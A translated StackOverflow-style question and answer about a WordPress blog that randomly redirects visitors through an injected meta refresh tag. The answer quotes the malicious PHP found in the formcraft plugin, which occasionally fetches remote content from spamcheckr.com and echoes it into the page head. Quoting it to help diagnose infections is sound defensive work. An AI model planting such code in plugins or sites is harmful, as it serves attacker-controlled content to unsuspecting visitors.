WordPress 博客感染了 HTML Refresh 元标记 [英] WordPress blog infected with HTML Refresh meta tag

问题描述

你好 StackOverflow 社区.我今天有一个非常有趣的(在我看来)感染要与您分享.

Hello StackOverflow community. I have a very interesting (at my opinion) infection to share with you today.

4-5 天前，我意识到我的博客主页在加载几秒钟后被重定向到另一个页面.特别是在 youtube 上，在贾斯汀比伯的视频中.我以为是我电脑的问题，所以我扫描了病毒和恶意软件.但这不是我的错.

4-5 days ago I realized that my blog's homepage after some seconds of loading was redirected to another page. Specifically to youtube, at a Justin Bieber video. I thought it was my computer's problem, so I scanned or viruses and malware. But it wasn't my fault.

最后我确定这不是本地问题，因为 Google 页面速度见解具有相同的结果.

Finally I was sure that it was not a local problem because Google pagespeed insights had the same result.

因此，经过数小时的研究(以及一些损坏的键盘)，我找到了这些线索.详情:

So, after many hours of research (and some broken keyboards) I found out those clues. In details:

在我的标题中创建了一个类似于以下内容的元标记:

A meta tag was created inside my header similar to this:

<meta http-equiv="refresh" content="0; url=http://www.youtube.com/watch?v=RFngSCaY5nA">

首先，我禁用了所有插件，但没有结果.过了一会儿，问题仍然存在.其次，我搜索了我所有的数据库表，以确定视频的 URL 是否包含在某处，但事实并非如此.然后我在我的模板编辑器中一一搜索了 php 文件，但一无所获..htaccess 也很清楚(不是 100% 确定我在那里寻找什么，但我认为没有任何可疑之处).

First, I disabled all my plugins but without result. After a while the problem was still there. Second, I searched all my database tables to find out if the URL of the video was included somewhere, but it wasn't. Then I searched in my template editor one by one the php files, but nothing. .htaccess was also clear (not 100% sure what I was looking for in there, but I think there was nothing suspicious).

完成所有这些之后，我通过 FTP 下载了我的整个站点，并在每个文件中搜索了这个 URL.我发现它包含在 CACHE 文件夹的一些 HTML 文件中.为此，我使用 W3 Total Cache.我删除了整个缓存文件夹，但过了一会儿问题仍然存在.

After all these, I downloaded via FTP my whole site, and searched inside every file for this URL. I found that it was included to some HTML files of the CACHE folder. I use W3 Total Cache for that purpose. I deleted the whole cache folder, but after a while the problem was still there.

有趣的事实是，这种病毒"并不总是活跃的.它随机出现，每次出现在不同的页面.同样今晚我意识到它出现在第二台计算机上，同时在我的计算机上一切正常.

The fun fact here is that this "virus" is not always active. It appears at random time, at different page each time. Also tonight I realized that it appeared on a second computer, the same time that everything looked fine on my computer.

Youtube 视频网址为:http://www.youtube.com/watch?v=RFngSCaY5nA

The Youtube Video URL is: http:// www.youtube.com/watch?v=RFngSCaY5nA

所以我的问题是:在删除整个安装并从头开始之前，你们中有人有推荐的解决方案吗?过去有没有其他人跟我有同样的问题?

So my question is: Does anyone of you have a solution to recommend before deleting the whole installation and start from the beginning? Does anyone else had the same problem wit me in the past?

我想这就是我要分享的全部内容.我很抱歉这篇长文章，尽量详细.我不擅长编码，这是我第一次尝试运行 WordPress 网站，所以，我可能忘记了一些东西.

I think that's all l have to share. I'm sorry for the long post, tried to be as detailed as possible. I'm not good at coding, this is my first attempt to run a WordPress site so, there might be something that I forgot.

提前致谢.

推荐答案

我遇到了同样的问题，我想我找到了解决方案！检查您的站点文件是否有此链接:http://spamcheckr.com/l.php我在formcraft插件中找到了这个链接.

I have the same problem and think I found the solution! Check your site files for this link: http://spamcheckr.com/l.php I found this link in formcraft plugin.

像这样:

if (!isset($_COOKIE['wordpress_test_cookie'])){ if (mt_rand(1,20) == 1) {function secqqc2_chesk() {if(function_exists('curl_init')){$addressd = "http://spamcheckr.com/l.php";$ch = curl_init();$timeout = 5;curl_setopt($ch,CURLOPT_URL,$addressd);curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);curl_setopt($ch,CURLOPT_CONNECTTIMEOUT,$timeout);$data = curl_exec($ch);curl_close($ch);echo "$data";}}add_action('wp_head','secqqc2_chesk');}}

已还要检查一下:http://spamcheckr.com/req.php

这篇关于WordPress 博客感染了 HTML Refresh 元标记的文章就介绍到这了，希望我们推荐的答案对大家有所帮助，也希望大家多多支持IT屋！